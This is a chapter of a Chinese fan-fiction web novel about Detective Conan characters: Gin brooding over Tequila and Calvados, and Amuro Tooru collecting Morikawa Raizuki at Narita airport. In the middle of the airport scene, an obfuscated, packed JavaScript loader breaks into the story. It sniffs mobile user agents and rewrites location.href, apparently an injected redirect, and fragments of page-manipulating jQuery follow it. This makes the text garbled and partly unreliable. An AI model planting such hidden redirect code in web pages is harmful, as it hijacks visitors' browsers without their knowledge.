今天我有猫了吗 作品

99.第 99 章

    朗姆原本打的好算盘,处心积虑想防着特基拉,结果却在海上被敌人袭击,估计这回是赔了夫人又折兵。


    琴酒嗤了一声。


    意大利本土势力比想象中还要强大,组织的手伸不到那么长,被偷袭是预料中的事。


    那位大人想要的东西,别人也想要,那可是黑市里的金饽饽。


    其实这事也不能全怪朗姆,他的心眼已经不能再多了。


    朗姆不仅防着特基拉,还将情报卖给意大利黑手党,蛊惑各黑手党家族失了智一般尽数下场,搅乱黑市,好让组织浑水摸鱼。


    朗姆甚至还将格洛利亚跟彭格列交易的情报透露给同一个地区的龙头家族,那家族本来就是彭格列的对头,抢了彭格列不知道多少东西,千载难逢的机会,立时出动几队人马武力围剿,势必要让彭格列的守护者折在那。


    朗姆料到特基拉会选在交易的时候下手截胡,所以故意暴露了交易地点。


    万一特基拉“不幸”被干掉,哼……那朗姆做梦都要笑醒。


    琴酒咬着烟,笑容有些讽刺。


    但是万万没想到,即使在那种枪林弹雨,特基拉也顺利将目标带出来了,反而是朗姆自己载坑里。


    这回这么重要的东西丢了,那位大人肯定大发雷霆,全看朗姆那家伙的金舌头能不能让他逃过一劫。


    保时捷拐弯,停在望海边缘的山路边上。


    香烟闪过一点火星,海风从窗外吹过,带走车内一缕烟气。


    要是那家伙能上船的话,如今又会不会是另一个结果。


    他不是号称无所不能吗。


    琴酒掐灭最后那点烟头,嘴角挑起一抹嘲讽的笑意。


    真感兴趣。


    他啪嚓点燃下一支香烟,咬在嘴里,抽出文件袋的最后一份报告。


    山道冲出一辆蝰蛇跑车,“嘎吱!”一个急刹,停在保时捷旁边。


    车窗降下,女人眼角画着蝴蝶纹,唇角很不高兴地耷拉着。


    副驾驶的杀手万年面无表情。


    “干什么突然把我们叫过来,我还有几个暗杀名单没干掉呢。”


    基安蒂瞥见琴酒手上的报告,“这什么东西?”


    琴酒不冷不热道:“卡尔瓦多斯的死亡报告。”


    “什么?”基安蒂追问,“结果是什么?”


    琴酒语气冷淡:“检测了dnA,峡谷底下那个焦炭就是他。”


    基安蒂不可置信:“不可能,那家伙怎么会……!”


    伏特加冷笑:“那可是叛徒的思维,我们怎么可能懂。”


    基安蒂不明白:“可这也太突然了!”


    伏特加耸肩:“也许是受什么刺激了吧,你看……卡尔也不是什么大度的人,说吃醋就吃醋。”


    基安蒂狠狠捶了下方向盘:“好像变成另外一个人似的!”


    伏特加也想不懂,现场被拿枪顶头上的人是他好吧,他也很迷茫啊。


    “基安蒂。”琴酒说,“为什么觉得他像另外一个人。”


    “卡尔迷恋贝尔摩德那女人多久了,一直没做什么出格的事,这次因为你在他就吃醋了?荒谬!”


    基安蒂狠声道:“该不会是那个女人唆使……”


    “不可能,贝尔摩德跟卡尔接头的时候我都在,没什么异常。”伏特加开玩笑,“除非那个卡尔是别人假扮的。”


    科恩:“可是,峡谷的尸体,就是卡尔。”


    “噢,对,所以这个猜测也不可能。”


    琴酒皱眉。


    铁皮屋群/交手的瞬间,他隐约闻到一股极淡的甜味。


    特基拉不该是这种味道。


    怀疑的种子种下,琴酒下手才会那么狠,即使武力比不上特基拉,琴酒还有炸弹的后手。


    那时候琴酒一心想弄死冒牌货,事后想想万一是他感觉有误,那就是特基拉本人的话……呵,那又如何。


    反正他本来也想弄死那家伙,是本人不正好吗。


    错与对都没区别。


    手术后,琴酒在安全屋养伤,每夜都站在窗边发呆。


    虽然不想承认,但他知道自己就是在发呆。


    那家伙终于被他弄死了。


    琴酒灌了口酒。


    这件事似乎也没有想象中那么令他高兴。


    真是没意思。


    心情诡异又复杂,直到收到贝尔摩德的情报,最终确定“特基拉”所在的西多摩医院。


    琴酒对死人没兴趣,但躺在冷冻车里的人是那家伙。


    ——琴酒又开始想发呆了。


    但是没想到,朗姆被突袭,琴酒再次被近距离扼住脖颈,那股凶狠辛辣的味道,还有那种漫不经心的感觉。


    琴酒不可思议,身上这人确实是特基拉无疑。


    黑风衣的嘴角划伤了,这位置是易容/面具最容易出破绽的地方,假皮很容易撕裂。


    更不要说受伤流血,即使是贝尔摩德也做不出可以流血的假皮。


    那家伙还把伤口的血迹舔掉……


    琴酒的喉结微微动了一下。


    别人假扮的吗?


    假扮那家伙的狗脾气?


    伏特加想不出来了:“贝尔摩德是被绑架的那个,又有谁能假扮卡尔。”


    基安蒂不屑地切了一声:“全世界就她一个会易容吗?”


    “爆炸车里找到那具焦尸确实是卡尔瓦多斯没错。”琴酒淡淡打断他们的对话,“车上用品,还有枪上的指纹,也全是他的。”


    加上贝尔摩德还跟卡尔瓦多斯短暂争持过,一口确定就是他。


    琴酒冷道:“就这样吧,我对死人不感兴趣。”


    证据摆在面前基安蒂也没办法,她相当不忿,猛踩一脚油门走了。


    琴酒撕掉那份报告。


    “哼……”


    琴酒笑意冰冷,目中的凶光怎么也盖不住。


    不止铁皮屋群爆炸,连黑手党的枪炮也活下来了。


    幸好那家伙活下来了,死了多可惜。


    果然还是你死我活有意思。


    打火机点燃火星,伏特加欲言又止,看着琴酒将几张纸烧成灰烬。


    “对了,大哥,那家伙回来了。”


    “谁。”


    “就是那家伙啊,跟大哥吵了一架,最后让朗姆老大调去美国了。”


    “啊……他。”


    琴酒兴致缺缺,不怎么感兴趣。


    伏特加继续道:“听说那家伙带了套很厉害的软件回来,不愧是朗姆老大的心腹。”


    软件?


    ……原来如此。


    “哼,随便他。”


    琴酒轻蔑地笑了下,面色很快又阴沉下来。


    “最近突发情况增加,看来组织有必要继续捉老鼠了,‘大事’之前,不能再出一点差错。”


    干脆就拿某个笨女人先开刀好了。


    *


    作为日本最大的国际航空港,成田机场跟每天一样,各航空公司飞机有序起落升降。


    悦耳的转子引擎声引人侧目,一辆白色rx7驶入接送到达旅客区。


    没停两分钟,一道白色身影急匆匆冲出到达口,连人都没看清,开门关门一气呵成。


    安室透说:“冷吗?”


    森川来月嫌累赘,羽绒服抱在手上,就穿着件宽大的高领毛衣,衬得他又白又瘦。


    安室透把买好的热咖啡递给他。


    森川来月接过:“还好,跑起来不冷。”


    他嘴唇泛白,没什么血色,安室透看得皱眉:“还说不冷。”


    森川来月作势喝咖啡,背着安室透偷偷吐了下舌头。


    rx7掉了个头,安室透说:“先喝点热的,马上带你去吃饭。”


    森川来月点头如捣蒜:“哦哦!”


    安室透给森川来月买了杯卡布奇诺,森川来月被长途飞行的飞机餐折磨得够呛,香甜浓郁的奶香正好抚慰他饿瘪的胃。


    安室透扫了他一眼,“飞机延误的时候,你都去哪了。”


    森川来月眨眼:“在机场等啊。”


    “嗯,是吗。”


    “你那班飞机延误超过6小时,按理来说航空公司要给你免费安排延误餐和酒店住宿。”


    安室透语气温和:“我就不问你住哪了,就想问问上飞机前,他们给你准备的延误餐吃了什么?”


    森川来月:“……”


    飞机延误的时间他都用来逛黑市搜集情报去了,怎么可能知道吃了啥玩意。


    森川来月正在想借口,安室透温声道:“别想用刚刚的飞机餐糊弄我,我有这趟航班的餐单。”


    森川来月:“…………”


    森川来月斟酌两秒,试探道:“呃,吃、吃的是……白人饭?”


    安室透:“……”


    他差点没忍住,嘴角抽了抽。


    早猜到这人不会乖乖等在机场,安室透叹了口气:“算了,喝你的咖啡吧。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303736|161245||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    好的,森川来月老老实实继续喝他的咖啡。


    这次森川来月用的是他哥另一本护照,为了避开眼线,黑风衣跟组员分开,威士忌们先走。


    谁知道就这么巧,下一趟航班因为大雪延误了。


    就剩森川来月一个在意大利,那不得干点降谷先生不允许做的坏事?


    森川来月眼珠子转了又转,见他不想说,安室透从善如流,改问道:“他们有没有找你麻烦?”


    “啊?谁?‘那位’吗,没有啊!”


    森川来月莫名其妙:“都说了跟我没关系,找我干什么。”


    安室透信他才有鬼。


    事实上,行动组离开意大利之后,“那位”确实又找了特基拉一次。


    组织的船在地中海受到袭击,目标丢失,成员下落不明,那地方根本没人管,肯定跟意大利黑手党有关系。


    “那位”怒火中烧。


    【你是不是将情报泄露了!】


    黑风衣凉凉回敬一句:“关我屁事。”


    “我特地来意大利拼死完成了任务,现在人弄丢了,还怪我头上?”


    “是谁的失误我也懒得掰扯,但是让我背锅不可能。”他平静又冷淡,“如果非要我认,那以后这种任务都别找我干了,Boss另请高明吧。”


    说罢不等“那位”说话,反手将电话挂断。


    森川来月知道“那位”一定气得够呛,但那又如何,现在该拿来开刀的绝对不是特基拉,毕竟这次表面上看的确跟特基拉没关系。


    不趁“那位”理亏的时候摆正姿态,那还等什么时候。


    森川来月说:“组织有什么动作吗?”


    安室透比他早一天多回来,已经重新开始忙碌了。


    “我们没什么,但是警视厅那里存放的卷宗被偷了。”


    “卷宗?”


    森川来月皱眉道:“是什么东西的卷宗?”


    “双子塔大楼火灾的,连续杀人案的……只要是常盘集团的,包括原佳明在内所有员工的资料,全部被偷走了。”


    安室透似乎被气得不轻,冷笑一声。


    “然后过了两天,被偷走的卷宗又还回来了,里面所有东西都没有丢。”


    森川来月歪了歪头:“贝尔摩德?”


    “应该,我猜他们大概是在找宾客名簿,过滤可疑人员。”


    安室透看了他一眼,“或者说,在找你。”


    森川来月不以为意,“我又不是宾客。”


    “幸好公安没有贸然插手,现在原佳明的案子仍然是搜查一课跟进。”安室透说,“但即使知道他们想动作,我们也没法完全保护名簿上的人,总不可能逐一派人跟踪观察。”


    安室透眉头紧锁:“就是不知道他们什么时候动手。”


    森川来月说:“放心,他们很快会来的。”


    以为炸了常盘集团的主计算机就可以确保数据不丢失,结果却被反向入侵了内网,这让组织怎么吞得下这口气。


    等着吧,指不定琴酒现在蛰伏在哪里盘算着什么呢。


    安室透说:“你在45层下载的信息并不完整,技术组才分析了30%,预计还需要一到两周时间复原。


    森川来月点点头。


    “还有就是……”


    电话铃响,森川来月夹着咖啡找手机。


    “喂……拓海?啊我方便,你说。”


    安室透立刻停住话题。


    拓海?


    “唉?真的吗?”森川来月的声音特别惊喜,语气十分雀跃,“可以啊可以啊,我有空,一定给你捧场。”


    他又兴奋地说了一会儿,直到挂断电话还是满脸兴奋,像有什么值得期待的事。


    安室透不动声色。


    “是有什么有意思的活动吗?”安室透笑眯眯,“也带上我好不好?”


    森川来月:“?”


    森川来月:“好……好啊?”


    可以是可以,但就是为什么,降谷先生的语气好像,有点恐怖?


    情绪的颜色是神秘的蓝……森川来月脑海缓缓打了个问号。


    这是又有什么好事等着他。


    森川来月摸不着头脑,挠了挠头,顺手拨了个电话。


    对面依旧是无法接通的忙音。


    安室透看了副驾驶一眼。


    森川来月皱着眉,面上写满困惑和忧虑。


    安室透不着痕迹收回目光,继续专注驾驶,rx7平稳开上高架桥。